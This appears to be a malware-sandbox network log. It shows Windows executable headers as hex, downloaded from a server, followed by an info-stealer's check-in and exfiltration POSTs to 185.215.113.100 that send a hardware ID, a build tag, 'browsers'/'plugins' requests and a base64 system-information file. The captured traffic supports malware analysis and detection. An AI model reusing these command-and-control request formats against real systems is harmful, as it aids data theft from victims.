dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 20:05:27 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 20:05:28 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 20:05:29 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 20:05:30 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHIDHost: 185.215.113.100Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 39 38 39 41 30 34 42 34 44 42 32 34 39 36 36 31 38 36 37 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="hwid"1D989A04B4DB2496618675------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="build"leva------ECGDAAFIIJDAAAAKFHID--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJDAFBKFIECBGCAKECGHost: 185.215.113.100Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 2d 2d 0d 0a Data Ascii: ------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="message"browsers------GIJDAFBKFIECBGCAKECG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCBAFCGDAAKFIDGIEGHost: 185.215.113.100Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 2d 2d 0d 0a Data Ascii: ------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="message"plugins------EBGCBAFCGDAAKFIDGIEG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJKJDAKEHJDGDGDGHIDHost: 185.215.113.100Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 2d 2d 0d 0a Data Ascii: ------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="message"fplugins------GHJKJDAKEHJDGDGDGHID--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGHHost: 185.215.113.100Content-Length: 6551Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGHHost: 185.215.113.100Content-Length: 6551Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 6c 7a 64 47 56 74 58 32 6c 75 5a 6d 38 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 43 6b 35 6c 64 48 64 76 63 6d 73 67 53 57 35 6d 62 7a 6f 4b 43 53 30 67 53 56 41 36 49 45 6c 51 50 77 6f 4a 4c 53 42 44 62 33 56 75 64 48 4a 35 4f 69 42 4a 55 30 38 2f 43 67 70 54 65 58 4e 30 5a 57 30 67 55 33 56 74 62 57 46 79 65 54 6f 4b 43 53 30 67 53 46 64 4a 52 44 6f 67 4d 55 51 35 4f 44 6c 42 4d 44 52 43 4e 45 52 43 4d 6a 51 35 4e 6a 59 78 4f 44 59 33 4e 51 6f 4a 4c 53 42 50 55 7a 6f 67 56 32 6c 75 5a 47 39 33 63 79 41 78 4d 43 42 51 63 6d 38 4b 43 53 30 67 51 58 4a 6a 61 47 6c 30 5a 57 4e 30 64 58 4a 6c 4f 69 42 34 4e 6a 51 4b 43 53 30 67 56 58 4e 6c 63 6b 35 68 62 57 55 36 49 47 68 31 59 6d 56 79 64 41 6f 4a 4c 53 42 44 62 32 31 77 64 58 52 6c 63 69 42 4f 59 57 31 6c 4f 69 41 79 4d 54 41 35 4e 7a 6b 4b 43 53 30 67 54 47 39 6a 59 57 77 67 56 47 6c 74 5a 54 6f 67 4d 6a 41 79 4e 43 38 34 4c 7a 4d 78 49 44 45 32 4f 6a 55 36 4d 54 59 4b 43 53 30 67 56 56 52 44 4f 69 41 74 4e 51 6f 4a 4c 53 42 4d 59 57 35 6e 64 57 46 6e 5a 54 6f 67 5a 57 34 74 51 30 67 4b 43 53 30 67 53 32 56 35 59 6d 39 68 63 6d 52 7a 4f 69 42 46 62 6d 64 73 61 58 4e 6f 49 43 68 56 62 6d 6c 30 5a 57 51 67 53 32 6c 75 5a 32 52 76 62 53 6b 67 4c 79 42 46 62 6d 64 73 61 58 4e 6f 49 43 68 56 62 6d 6c 30 5a 57 51 67 53 32 6c 75 5a 32 52 76 62 53 6b 4b 43 53 30 67 54 47 46 77 